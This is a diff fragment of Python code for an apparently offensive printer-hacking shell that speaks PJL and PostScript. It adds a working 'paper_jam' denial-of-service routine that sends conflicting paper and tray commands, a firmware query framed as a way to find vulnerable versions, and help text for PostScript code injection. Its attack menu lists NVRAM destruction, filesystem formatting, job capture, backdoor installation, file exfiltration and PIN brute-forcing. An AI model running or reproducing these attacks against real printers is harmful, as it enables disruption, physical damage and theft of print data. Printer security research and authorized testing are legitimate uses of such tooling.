+ print()
3401
+ print("USAGE:")
3402
+ print(" ps_inject <ps_file>")
3403
+ print()
3404
+ print("EXAMPLES:")
3405
+ print(" ps_inject test.ps # Execute PostScript file")
3406
+ print(" ps_inject exploit.ps # Execute exploit code")
3407
+ print()
3408
+ print("SECURITY IMPACT: CRITICAL")
3409
+ print(" - Arbitrary code execution")
3410
+ print(" - Full printer access")
3411
+ print(" - Can modify system state")
3412
+ print()
3413
+ print("NOTES:")
3414
+ print(" - PostScript code must be valid")
3415
+ print(" - Printer must support PostScript")
3416
+ print(" - Code executes immediately")
3417
+ print()
3418
+
3419
+ def do_paper_jam(self, arg):
3420
+ """Attempt to cause paper jam via conflicting commands"""
3421
+ output().warning("═" * 70)
3422
+ output().warning("Paper jam attack - May cause physical paper jam!")
3423
+ output().warning("═" * 70)
3424
+
3425
+ try:
3426
+ confirm = input("Attempt paper jam attack? (yes/no): ")
3427
+ if confirm.lower() != 'yes':
3428
+ output().info("Paper jam attack cancelled")
3429
+ return
3430
+ except (EOFError, KeyboardInterrupt):
3431
+ return
3432
+
3433
+ output().info("Sending conflicting paper handling commands...")
3434
+
3435
+ # Send conflicting paper size/type commands
3436
+ self.cmd("@PJL SET PAPER=LETTER", False)
3437
+ time.sleep(0.1)
3438
+ self.cmd("@PJL SET PAPER=A4", False)
3439
+ time.sleep(0.1)
3440
+ self.cmd("@PJL SET PAPER=LEGAL", False)
3441
+
3442
+ # Conflicting input tray commands
3443
+ self.cmd("@PJL SET INTRAY1=MANUAL", False)
3444
+ self.cmd("@PJL SET INTRAY1=AUTO", False)
3445
+
3446
+ # Conflicting formlines
3447
+ self.cmd("@PJL SET FORMLINES=60", False)
3448
+ self.cmd("@PJL SET FORMLINES=88", False)
3449
+ self.cmd("@PJL SET FORMLINES=120", False)
3450
+
3451
+ # Send print job with conflicts
3452
+ for i in range(5):
3453
+ self.cmd(f"@PJL JOB NAME=\"PaperJamTest{i}\"", False)
3454
+ self.cmd("@PJL SET PAPER=LETTER", False)
3455
+ self.cmd("@PJL SET PAPER=A4", False)
3456
+ self.send(b"Paper jam test data\x0c")
3457
+ self.cmd("@PJL EOJ", False)
3458
+ time.sleep(0.2)
3459
+
3460
+ output().info("✓ Paper jam attack commands sent")
3461
+ output().warning("⚠ Check printer for paper jam")
3462
+
3463
+ def help_paper_jam(self):
3464
+ """Paper jam attack"""
3465
+ print()
3466
+ print("paper_jam - Attempt to cause paper jam via conflicting commands")
3467
+ print("=" * 70)
3468
+ print("DESCRIPTION:")
3469
+ print(" Sends conflicting paper handling commands to attempt causing")
3470
+ print(" a physical paper jam. May succeed on some printer models.")
3471
+ print()
3472
+ print("USAGE:")
3473
+ print(" paper_jam")
3474
+ print()
3475
+ print("SECURITY IMPACT: MEDIUM")
3476
+ print(" - Physical paper jam")
3477
+ print(" - Printer downtime")
3478
+ print(" - Requires manual intervention")
3479
+ print()
3480
+ print("NOTES:")
3481
+ print(" - Success rate varies by printer model")
3482
+ print(" - May not work on modern printers")
3483
+ print(" - Requires confirmation")
3484
+ print()
3485
+
3486
+ def do_firmware_info(self, arg):
3487
+ """Get detailed firmware information"""
3488
+ output().info("Querying firmware information...")
3489
+ print()
3490
+
3491
+ # Query various firmware-related info
3492
+ queries = [
3493
+ ("@PJL INFO CONFIG", "Firmware Configuration"),
3494
+ ("@PJL INFO PRODUCT", "Product Information"),
3495
+ ("@PJL INFO ID", "Device ID"),
3496
+ ("@PJL DINQUIRE FWDATECODE", "Firmware Date Code"),
3497
+ ]
3498
+
3499
+ for query, desc in queries:
3500
+ print("=" * 70)
3501
+ print(desc)
3502
+ print("=" * 70)
3503
+ result = self.cmd(query)
3504
+ if result:
3505
+ print(result)
3506
+ print()
3507
+
3508
+ def help_firmware_info(self):
3509
+ """Get firmware information"""
3510
+ print()
3511
+ print("firmware_info - Get detailed firmware information")
3512
+ print("=" * 70)
3513
+ print("DESCRIPTION:")
3514
+ print(" Queries detailed firmware information including:")
3515
+ print(" - Firmware version")
3516
+ print(" - Firmware date code")
3517
+ print(" - Product information")
3518
+ print(" - Device configuration")
3519
+ print()
3520
+ print("USAGE:")
3521
+ print(" firmware_info")
3522
+ print()
3523
+ print("NOTES:")
3524
+ print(" - Useful for CVE identification")
3525
+ print(" - Helps determine vulnerable firmware versions")
3526
+ print()
3527
+
3528
+ # Update help categories
3529
+ def help_attacks(self):
3530
+ """Show help for attack commands"""
3531
+ print()
3532
+ print("Attack Commands:")
3533
+ print("=" * 70)
3534
+ print("💥 DoS Attacks:")
3535
+ print(" destroy - Cause physical damage to NVRAM")
3536
+ print(" flood - Buffer overflow attack")
3537
+ print(" hold - Enable job retention")
3538
+ print(" format - Format filesystem")
3539
+ print(" hang - Hang/crash printer")
3540
+ print(" dos_connections - DoS via connection flooding")
3541
+ print(" dos_display - DoS via display spam")
3542
+ print(" dos_jobs - DoS via job flooding")
3543
+ print(" paper_jam - Attempt to cause paper jam")
3544
+ print()
3545
+ print("🎯 Job Manipulation:")
3546
+ print(" capture - Capture retained print jobs")
3547
+ print(" overlay - Overlay attack (watermark)")
3548
+ print(" overlay_remove - Remove overlay attack")
3549
+ print(" cross - Cross-site printing")
3550
+ print(" replace - Replace entire job content")
3551
+ print()
3552
+ print("🔓 Advanced Attacks:")
3553
+ print(" unlock_bruteforce - Brute force PIN")
3554
+ print(" exfiltrate - Auto-exfiltrate sensitive files")
3555
+ print(" backdoor - Install persistent backdoor")
3556
+ print(" backdoor_remove - Remove backdoor")
3557
+ print(" poison - Configuration poisoning")
3558
+ print(" traverse - Path traversal testing")
3559
+ print(" ps_inject - PostScript code injection")
3560
+ print()
3561
+
3562
+ def help_information(self):
3563
+ """Show help for information gathering commands"""
3564
+ print()
3565
+ print("Information Gathering Commands:")
3566
+ print("=" * 70)
3567
+ print(" info - Comprehensive INFO queries")
3568
+ print(" scan_volumes - Scan all volumes")
3569
+ print(" firmware_info - Detailed firmware information")
3570
+ print(" id - Printer identification")
3571
+ print(" variables - Environment variables")
3572
+ print(" printenv - Specific variable")
3573
+ print(" network - Network information")
3574
+ print(" nvram - NVRAM access")
3575
+ print()